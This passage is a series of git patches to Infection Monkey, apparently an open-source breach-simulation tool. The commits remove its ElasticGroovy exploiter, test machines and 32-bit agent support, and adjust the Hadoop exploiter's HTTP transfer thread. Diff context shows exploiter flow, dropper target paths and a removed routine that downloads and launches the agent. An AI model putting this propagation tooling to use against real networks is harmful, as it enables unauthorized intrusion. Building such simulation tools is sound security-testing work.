drupalIssueReport} from './security/issues/DrupalIssue'; import {wmiPasswordIssueReport, wmiPthIssueReport} from './security/issues/WmiIssue'; import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues/SshIssue'; -import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue'; import { crossSegmentIssueOverview, @@ -119,11 +118,6 @@ class ReportPageComponent extends AuthComponent { }, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, - 'ElasticGroovyExploiter': { - [this.issueContentTypes.OVERVIEW]: elasticIssueOverview, - [this.issueContentTypes.REPORT]: elasticIssueReport, - [this.issueContentTypes.TYPE]: this.issueTypes.DANGER - }, 'PowerShellExploiter': { [this.issueContentTypes.OVERVIEW]: powershellIssueOverview, [this.issueContentTypes.REPORT]: powershellIssueReport, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js deleted file mode 100644 index 4d389bf2b..000000000 --- a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/ElasticIssue.js +++ /dev/null @@ -1,23 +0,0 @@ -import React from 'react'; -import CollapsibleWellComponent from '../CollapsibleWell'; - -export function elasticIssueOverview() { - return (
  • Elasticsearch servers are vulnerable to CVE-2015-1427. -
  • ) -} - -export function elasticIssueReport(issue) { - return ( - <> - Update your Elastic Search server to version 1.4.3 and up. - - The machine {issue.machine} ({issue.ip_address}) is vulnerable to an Elastic Groovy attack. -
    - The attack was made possible because the Elastic Search server was not patched against CVE-2015-1427. -
    - - ); -} From 35d39b46c7c48005db84cd3023f8d8ca0959520e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 15:10:31 +0530 Subject: [PATCH 0555/1110] UT: Remove ElasticGroovyExploiter references --- .../monkey_configs/automated_master_config.json | 1 - monkey/tests/data_for_tests/monkey_configs/flat_config.json | 1 - .../data_for_tests/monkey_configs/monkey_config_standard.json | 1 - .../cc/services/edge/test_displayed_edge_service.py | 4 ++-- .../reporting/exploitations/test_monkey_exploitation.py | 2 +- .../monkey_island/cc/services/reporting/test_report.py | 4 ++-- .../tests/unit_tests/monkey_island/cc/services/test_config.py | 1 - 7 files changed, 5 insertions(+), 9 deletions(-) diff --git a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json index aaed36c1c..c89ab6c04 100644 --- a/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/automated_master_config.json @@ -54,7 +54,6 @@ ], "vulnerability": [ {"name": "DrupalExploiter"}, - {"name": "ElasticGroovyExploiter"}, {"name": "HadoopExploiter"}, {"name": "ShellShockExploiter"}, {"name": "Struts2Exploiter"}, diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index b4ec2c46c..acce7f2ae 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -52,7 +52,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "ElasticGroovyExploiter", "Struts2Exploiter", "ZerologonExploiter", "WebLogicExploiter", diff --git a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json index 33944c305..658e4cc68 100644 --- a/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json +++ b/monkey/tests/data_for_tests/monkey_configs/monkey_config_standard.json @@ -5,7 +5,6 @@ "SmbExploiter", "WmiExploiter", "SSHExploiter", - "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py index 4c7ca36a7..aadd13f60 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/edge/test_displayed_edge_service.py @@ -27,9 +27,9 @@ SCAN_DATA_MOCK = [ EXPLOIT_DATA_MOCK = [ { "result": True, - "exploiter": "ElasticGroovyExploiter", + "exploiter": "ZerologonExploiter", "info": { - "display_name": "Elastic search", + "display_name": "Zerologon", "started": "2020-05-11T08:59:38.105Z", "finished": "2020-05-11T08:59:38.106Z", "vulnerable_urls": [], diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py index f40e09c62..1c0377807 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py @@ -11,7 +11,7 @@ from monkey_island.cc.services.reporting.exploitations.monkey_exploitation impor def test_get_exploits_used_on_node__2_exploits(): exploits = get_exploits_used_on_node(NODE_DICT) - assert sorted(exploits) == sorted(["Elastic Groovy Exploiter", "Drupal Server Exploiter"]) + assert sorted(exploits) == sorted(["Zerologon Exploiter", "Drupal Server Exploiter"]) def test_get_exploits_used_on_node__duplicate_exploits(): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py index efc59f5ae..c33f0087b 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py @@ -110,9 +110,9 @@ NODE_DICT = { }, { "exploitation_result": True, - "exploiter": "ElasticGroovyExploiter", + "exploiter": "ZerologonExploiter", "info": { - "display_name": "Elastic search", + "display_name": "Zerologon", "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), "vulnerable_urls": [], diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 58e762036..010e1ce34 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -185,7 +185,6 @@ def test_format_config_for_agent__exploiters(flat_monkey_config): ], "vulnerability": [ {"name": "DrupalExploiter", "options": {}}, - {"name": "ElasticGroovyExploiter", "options": {}}, {"name": "HadoopExploiter", "options": {}}, {"name": "Struts2Exploiter", "options": {}}, {"name": "WebLogicExploiter", "options": {}}, From a599edec15b4e16d2218bf84059b9a4bdfdf84f3 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 15:12:00 +0530 Subject: [PATCH 0556/1110] Project: Remove ELASTIC exploiter descriptor enum from Vulture's allowlist --- vulture_allowlist.py | 1 - 1 file changed, 1 deletion(-) diff --git a/vulture_allowlist.py b/vulture_allowlist.py index 655590dcf..67399ff55 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -56,7 +56,6 @@ credential_type # unused variable (monkey/monkey_island/cc/services/reporting/i password_restored # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py:23) SSH # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:30) SAMBACRY # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:31) -ELASTIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:32) STRUTS2 # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:39) WEBLOGIC # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:40) HADOOP # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:43) From 6c7e63046580b070e32f7bae2aee3d18a4044c66 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 15:14:32 +0530 Subject: [PATCH 0557/1110] BB: Remove ElasticGroovyExploiter references --- .../blackbox/config_templates/elastic.py | 20 ------------------- .../blackbox/config_templates/performance.py | 1 - .../blackbox/gcp_test_machine_list.py | 2 -- envs/monkey_zoo/blackbox/test_blackbox.py | 6 +----- .../utils/config_generation_script.py | 2 -- 5 files changed, 1 insertion(+), 30 deletions(-) delete mode 100644 envs/monkey_zoo/blackbox/config_templates/elastic.py diff --git a/envs/monkey_zoo/blackbox/config_templates/elastic.py b/envs/monkey_zoo/blackbox/config_templates/elastic.py deleted file mode 100644 index 0a89b9cc3..000000000 --- a/envs/monkey_zoo/blackbox/config_templates/elastic.py +++ /dev/null @@ -1,20 +0,0 @@ -from copy import copy - -from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate -from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate - - -class Elastic(ConfigTemplate): - - config_values = copy(BaseTemplate.config_values) - - config_values.update( - { - "basic.exploiters.exploiter_classes": ["ElasticGroovyExploiter"], - "internal.classes.finger_classes": ["PingScanner", "HTTPFinger", "ElasticFinger"], - "basic_network.scope.subnet_scan_list": ["10.2.2.4", "10.2.2.5"], - "basic_network.scope.depth": 1, - "internal.network.tcp_scanner.HTTP_PORTS": [9200], - "internal.network.tcp_scanner.tcp_target_ports": [], - } - ) diff --git a/envs/monkey_zoo/blackbox/config_templates/performance.py b/envs/monkey_zoo/blackbox/config_templates/performance.py index 6108664a7..4eb8a3243 100644 --- a/envs/monkey_zoo/blackbox/config_templates/performance.py +++ b/envs/monkey_zoo/blackbox/config_templates/performance.py @@ -16,7 +16,6 @@ class Performance(ConfigTemplate): "SmbExploiter", "WmiExploiter", "SSHExploiter", - "ElasticGroovyExploiter", "Struts2Exploiter", "WebLogicExploiter", "HadoopExploiter", diff --git a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py index eadbd6213..1b5043e93 100644 --- a/envs/monkey_zoo/blackbox/gcp_test_machine_list.py +++ b/envs/monkey_zoo/blackbox/gcp_test_machine_list.py @@ -2,8 +2,6 @@ GCP_TEST_MACHINE_LIST = { "europe-west3-a": [ "sshkeys-11", "sshkeys-12", - "elastic-4", - "elastic-5", "hadoop-2", "hadoop-3", "mssql-16", diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 2db234ed2..ff80451db 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -9,7 +9,6 @@ from envs.monkey_zoo.blackbox.analyzers.communication_analyzer import Communicat from envs.monkey_zoo.blackbox.analyzers.zerologon_analyzer import ZerologonAnalyzer from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal -from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr @@ -190,9 +189,6 @@ class TestMonkeyBlackbox: def test_drupal_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Drupal, "Drupal_exploiter") - def test_elastic_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, Elastic, "Elastic_exploiter") - def test_struts_exploiter(self, island_client): TestMonkeyBlackbox.run_exploitation_test(island_client, Struts2, "Struts2_exploiter") @@ -256,7 +252,7 @@ class TestMonkeyBlackbox: ) def test_report_generation_performance(self, island_client, quick_performance_tests): """ - This test includes the SSH + Elastic + Hadoop + MSSQL machines all in one test + This test includes the SSH + Hadoop + MSSQL machines all in one test for a total of 8 machines including the Monkey Island. Is has 2 analyzers - the regular one which checks all the Monkeys diff --git a/envs/monkey_zoo/blackbox/utils/config_generation_script.py b/envs/monkey_zoo/blackbox/utils/config_generation_script.py index 3f787870d..1bb66a080 100644 --- a/envs/monkey_zoo/blackbox/utils/config_generation_script.py +++ b/envs/monkey_zoo/blackbox/utils/config_generation_script.py @@ -4,7 +4,6 @@ from typing import Type from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal -from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr @@ -39,7 +38,6 @@ island_client = MonkeyIslandClient(args.island_ip) CONFIG_TEMPLATES = [ - Elastic, Hadoop, Mssql, Performance, From 7d76d949597690122aadb28fc899e43e35becb2e Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 15:16:06 +0530 Subject: [PATCH 0558/1110] Zoo: Remove Elastic machines from terraform scripts and docs --- envs/monkey_zoo/docs/fullDocs.md | 76 ------------------------- envs/monkey_zoo/terraform/images.tf | 8 --- envs/monkey_zoo/terraform/monkey_zoo.tf | 30 ---------- 3 files changed, 114 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 0381eae34..08ffb4e5e 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -9,8 +9,6 @@ This document describes Infection Monkey’s test network, how to deploy and use [Machines](#machines)
    [Nr. 2 Hadoop](#_Toc526517182)
    [Nr. 3 Hadoop](#_Toc526517183)
    -[Nr. 4 Elastic](#_Toc526517184)
    -[Nr. 5 Elastic](#_Toc526517185)
    [Nr. 9 Tunneling M1](#_Toc536021462)
    [Nr. 10 Tunneling M2](#_Toc536021463)
    [Nr. 11 SSH key steal](#_Toc526517190)
    @@ -251,80 +249,6 @@ Update all requirements using deployment script:
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Nr. 4 Elastic

    -

    (10.2.2.4)

    (Vulnerable)
    OS:Ubuntu 16.04.05 x64
    Software:

    JDK,

    -

    Elastic 1.4.2

    Default server’s port:9200
    Server’s config:Default
    Scan results:Machine exploited using Elastic exploiter
    Notes:Quick tutorial on how to add entries (was useful when setting up).
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

    Nr. 5 Elastic

    -

    (10.2.2.5)

    (Vulnerable)
    OS:Windows 10 x64
    Software:

    JDK,

    -

    Elastic 1.4.2

    Default server’s port:9200
    Server’s config:Default
    Scan results:Machine exploited using Elastic exploiter
    Notes:Quick tutorial on how to add entries (was useful when setting up).
    - diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index 23632514a..3a197b720 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -7,14 +7,6 @@ data "google_compute_image" "hadoop-3" { name = "hadoop-3" project = local.monkeyzoo_project } -data "google_compute_image" "elastic-4" { - name = "elastic-4" - project = local.monkeyzoo_project -} -data "google_compute_image" "elastic-5" { - name = "elastic-5" - project = local.monkeyzoo_project -} data "google_compute_image" "tunneling-9" { name = "tunneling-9" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index eff0a44e5..0a32f2d05 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -76,36 +76,6 @@ resource "google_compute_instance_from_template" "hadoop-3" { } } -resource "google_compute_instance_from_template" "elastic-4" { - name = "${local.resource_prefix}elastic-4" - source_instance_template = local.default_ubuntu - boot_disk{ - initialize_params { - image = data.google_compute_image.elastic-4.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.4" - } -} - -resource "google_compute_instance_from_template" "elastic-5" { - name = "${local.resource_prefix}elastic-5" - source_instance_template = local.default_windows - boot_disk{ - initialize_params { - image = data.google_compute_image.elastic-5.self_link - } - auto_delete = true - } - network_interface { - subnetwork="${local.resource_prefix}monkeyzoo-main" - network_ip="10.2.2.5" - } -} - resource "google_compute_instance_from_template" "tunneling-9" { name = "${local.resource_prefix}tunneling-9" source_instance_template = local.default_ubuntu From 871b02d51428f4ef5fbe8b71cc83b3c4fec52ab9 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Feb 2022 12:21:54 +0100 Subject: [PATCH 0559/1110] Agent: Stop Hadoop http_thread regardless the exploit result --- monkey/infection_monkey/exploit/hadoop.py | 20 ++++++++++++-------- 1 file changed, 12 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py index 04f037762..5a3c29b65 100644 --- a/monkey/infection_monkey/exploit/hadoop.py +++ b/monkey/infection_monkey/exploit/hadoop.py @@ -46,14 +46,18 @@ class HadoopExploiter(WebRCE): if not paths: return self.exploit_result http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) - command = self._build_command(paths["dest_path"], http_path) - if not self.exploit(self.vulnerable_urls[0], command): - return self.exploit_result - http_thread.join(self.DOWNLOAD_TIMEOUT) - http_thread.stop() - self.add_executed_cmd(command) - self.exploit_result.exploitation_success = True - self.exploit_result.propagation_success = True + + try: + command = self._build_command(paths["dest_path"], http_path) + + if self.exploit(self.vulnerable_urls[0], command): + self.add_executed_cmd(command) + self.exploit_result.exploitation_success = True + self.exploit_result.propagation_success = True + finally: + http_thread.join(self.DOWNLOAD_TIMEOUT) + http_thread.stop() + return self.exploit_result def exploit(self, url, command): From e8ba34b055afcf23d269e4f9624a0a5e41300383 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Feb 2022 13:33:32 +0100 Subject: [PATCH 0560/1110] Island: Use exploitation_result in telemetry_feed --- monkey/monkey_island/cc/resources/telemetry_feed.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 37e6327f6..1098d2b50 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,7 +82,7 @@ class TelemetryFeed(flask_restful.Resource): def get_exploit_telem_brief(telem): target = telem["data"]["machine"]["ip_addr"] exploiter = telem["data"]["exploiter"] - result = telem["data"]["result"] + result = telem["data"]["exploitation_result"] if result: return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter) else: From 7e362283fa4b91430f9d93b6751b344af5edc50c Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Thu, 24 Feb 2022 19:14:20 +0530 Subject: [PATCH 0561/1110] Changelog: Add entry for removing the Elastic Search exploiter --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 97017beb5..72eadb615 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -46,6 +46,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Agent bootloader. #1676 - Zero Trust integration with ScoutSuite. #1669 - ShellShock exploiter. #1733 +- ElasticGroovy exploiter. #1732 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 From e21f6430146e18b7781febf64af0120dc2630fb5 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Feb 2022 09:26:28 -0500 Subject: [PATCH 0562/1110] Agent: Remove references to 32-bit agents in monkey.spec --- monkey/infection_monkey/monkey.spec | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/monkey/infection_monkey/monkey.spec b/monkey/infection_monkey/monkey.spec index dc9a90868..d79345d0a 100644 --- a/monkey/infection_monkey/monkey.spec +++ b/monkey/infection_monkey/monkey.spec @@ -43,10 +43,6 @@ def is_windows(): return platform.system().find("Windows") >= 0 -def is_32_bit(): - return sys.maxsize <= 2 ** 32 - - def get_bin_folder(): return os.path.join('.', 'bin') @@ -73,15 +69,10 @@ def get_hidden_imports(): def get_monkey_filename(): name = 'monkey-' if is_windows(): - name = name + "windows-" + name = name + "windows-64.exe" else: - name = name + "linux-" - if is_32_bit(): - name = name + "32" - else: - name = name + "64" - if is_windows(): - name = name + ".exe" + name = name + "linux-64" + return name From d84e35f637bc7611a1ac6cb92772743a3c7c706e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Feb 2022 09:28:47 -0500 Subject: [PATCH 0563/1110] Build: Remove references to 32-bit agents from Docker and Appimage build --- build_scripts/common.sh | 2 -- 1 file changed, 2 deletions(-) diff --git a/build_scripts/common.sh b/build_scripts/common.sh index 2f244fd51..abeef5f0d 100644 --- a/build_scripts/common.sh +++ b/build_scripts/common.sh @@ -42,9 +42,7 @@ download_monkey_agent_binaries() { load_monkey_binary_config mkdir -p "${island_binaries_path}" || handle_error - curl -L -o "${island_binaries_path}/${LINUX_32_BINARY_NAME}" "${LINUX_32_BINARY_URL}" curl -L -o "${island_binaries_path}/${LINUX_64_BINARY_NAME}" "${LINUX_64_BINARY_URL}" - curl -L -o "${island_binaries_path}/${WINDOWS_32_BINARY_NAME}" "${WINDOWS_32_BINARY_URL}" curl -L -o "${island_binaries_path}/${WINDOWS_64_BINARY_NAME}" "${WINDOWS_64_BINARY_URL}" } From 8c304e809dc164c4484a674e6326976844f3b8e8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 24 Feb 2022 10:50:13 -0500 Subject: [PATCH 0564/1110] Agent: Remove Windows 32-bit to 64-bit upgrade feature --- monkey/infection_monkey/monkey.py | 20 ------ monkey/infection_monkey/utils/environment.py | 13 ---- monkey/infection_monkey/windows_upgrader.py | 69 -------------------- 3 files changed, 102 deletions(-) delete mode 100644 monkey/infection_monkey/windows_upgrader.py diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 17dc5bc54..3fb26f348 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -46,7 +46,6 @@ from infection_monkey.utils.environment import is_windows_os from infection_monkey.utils.monkey_dir import get_monkey_dir_path, remove_monkey_dir from infection_monkey.utils.monkey_log_path import get_monkey_log_path from infection_monkey.utils.signal_handler import register_signal_handlers, reset_signal_handlers -from infection_monkey.windows_upgrader import WindowsUpgrader logger = logging.getLogger(__name__) @@ -101,11 +100,6 @@ class InfectionMonkey: logger.info("The Monkey Island has instructed this agent to stop") return - if InfectionMonkey._is_upgrade_to_64_needed(): - self._upgrade_to_64() - logger.info("32 bit Agent can't run on 64 bit system.") - return - self._setup() self._master.start() @@ -147,16 +141,6 @@ class InfectionMonkey: return False - @staticmethod - def _is_upgrade_to_64_needed(): - return WindowsUpgrader.should_upgrade() - - def _upgrade_to_64(self): - self._singleton.unlock() - logger.info("32bit monkey running on 64bit Windows. Upgrading.") - WindowsUpgrader.upgrade(self._opts) - logger.info("Finished upgrading from 32bit to 64bit.") - def _setup(self): logger.debug("Starting the setup phase.") @@ -252,10 +236,6 @@ class InfectionMonkey: logger.info("Monkey cleanup started") self._wait_for_exploited_machine_connection() try: - if self._is_upgrade_to_64_needed(): - logger.debug("Cleanup not needed for 32 bit agent on 64 bit system(it didn't run)") - return - if self._master: self._master.cleanup() diff --git a/monkey/infection_monkey/utils/environment.py b/monkey/infection_monkey/utils/environment.py index 2ead5a837..195e54fd3 100644 --- a/monkey/infection_monkey/utils/environment.py +++ b/monkey/infection_monkey/utils/environment.py @@ -1,18 +1,5 @@ -import os -import struct import sys -def is_64bit_windows_os(): - """ - Checks for 64 bit Windows OS using environment variables. - """ - return "PROGRAMFILES(X86)" in os.environ - - -def is_64bit_python(): - return struct.calcsize("P") == 8 - - def is_windows_os(): return sys.platform.startswith("win") diff --git a/monkey/infection_monkey/windows_upgrader.py b/monkey/infection_monkey/windows_upgrader.py deleted file mode 100644 index c72f970d9..000000000 --- a/monkey/infection_monkey/windows_upgrader.py +++ /dev/null @@ -1,69 +0,0 @@ -import logging -import shutil -import subprocess -import sys -import time - -import infection_monkey.monkeyfs as monkeyfs -from infection_monkey.config import WormConfiguration -from infection_monkey.control import ControlClient -from infection_monkey.utils.commands import ( - build_monkey_commandline_explicitly, - get_monkey_commandline_windows, -) -from infection_monkey.utils.environment import is_64bit_python, is_64bit_windows_os, is_windows_os - -logger = logging.getLogger(__name__) - -if "win32" == sys.platform: - from win32process import DETACHED_PROCESS -else: - DETACHED_PROCESS = 0 - - -class WindowsUpgrader(object): - __UPGRADE_WAIT_TIME__ = 3 - - @staticmethod - def should_upgrade(): - return is_windows_os() and is_64bit_windows_os() and not is_64bit_python() - - @staticmethod - def upgrade(opts): - try: - monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False) - with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file: - with open( - WormConfiguration.dropper_target_path_win_64, "wb" - ) as written_monkey_file: - shutil.copyfileobj(downloaded_monkey_file, written_monkey_file) - except (IOError, AttributeError) as e: - logger.error("Failed to download the Monkey to the target path: %s." % e) - return - - monkey_options = build_monkey_commandline_explicitly( - opts.parent, opts.tunnel, opts.server, opts.depth - ) - - monkey_cmdline = get_monkey_commandline_windows( - WormConfiguration.dropper_target_path_win_64, monkey_options - ) - - monkey_process = subprocess.Popen( - monkey_cmdline, - stdin=None, - stdout=None, - stderr=None, - close_fds=True, - creationflags=DETACHED_PROCESS, - ) - - logger.info( - "Executed 64bit monkey process (PID=%d) with command line: %s", - monkey_process.pid, - " ".join(monkey_cmdline), - ) - - time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__) - if monkey_process.poll() is not None: - logger.error("Seems like monkey died too soon") From 2c76c6de3ccf3ff95da679802f3fe1c55d184854 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 24 Feb 2022 18:13:59 +0100 Subject: [PATCH 0565/1110] Agent: Remove dropper_target_path_win_32 from config --- monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/tools/helpers.py | 2 -- monkey/infection_monkey/exploit/web_rce.py | 10 +--------- 4 files changed, 1 insertion(+), 13 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index be56985e3..5bb7ee895 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -89,7 +89,6 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = "/bin/sh" - dropper_target_path_win_32 = r"C:\Windows\temp\monkey32.exe" dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" dropper_target_path_linux = "/tmp/monkey" diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b1a25d51f..f370e5fdd 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -19,7 +19,6 @@ "dropper_log_path_windows": "%temp%\\~df1562.tmp", "dropper_log_path_linux": "/tmp/user-1562", "dropper_set_date": true, - "dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe", "dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe", "dropper_target_path_linux": "/tmp/monkey", diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index c0f467bd4..a0b53d0e7 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -65,8 +65,6 @@ def get_monkey_dest_path(url_to_monkey): try: if "linux" in url_to_monkey: return WormConfiguration.dropper_target_path_linux - elif "windows-32" in url_to_monkey: - return WormConfiguration.dropper_target_path_win_32 elif "windows-64" in url_to_monkey: return WormConfiguration.dropper_target_path_win_64 else: diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 312ac3b57..c87ed7405 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -4,7 +4,6 @@ from posixpath import join from typing import List, Tuple from common.utils.attack_utils import BITS_UPLOAD_STRING, ScanStatus -from infection_monkey.exploit.consts import WIN_ARCH_64 from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.http_tools import HTTPTools @@ -117,7 +116,6 @@ class WebRCE(HostExploiter): if not self.monkey_target_paths: self.monkey_target_paths = { "linux": self.options["dropper_target_path_linux"], - "win32": self.options["dropper_target_path_win_32"], "win64": self.options["dropper_target_path_win_64"], } self.HTTP = [str(port) for port in self.options["http_ports"]] @@ -470,13 +468,7 @@ class WebRCE(HostExploiter): if self.host.os["type"] == "linux": return self.options["dropper_target_path_linux"] if self.host.os["type"] == "windows": - try: - # remove now or when 32-bit binaries are removed? - if self.host.os["machine"] == WIN_ARCH_64: - return self.options["dropper_target_path_win_64"] - except KeyError: - logger.debug("Target's machine type was not set. Using win-32 dropper path.") - return self.options["dropper_target_path_win_32"] + return self.options["dropper_target_path_win_64"] def get_target_url(self): """ From 6144564760b0b44654a07d55cde21503873b6690 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 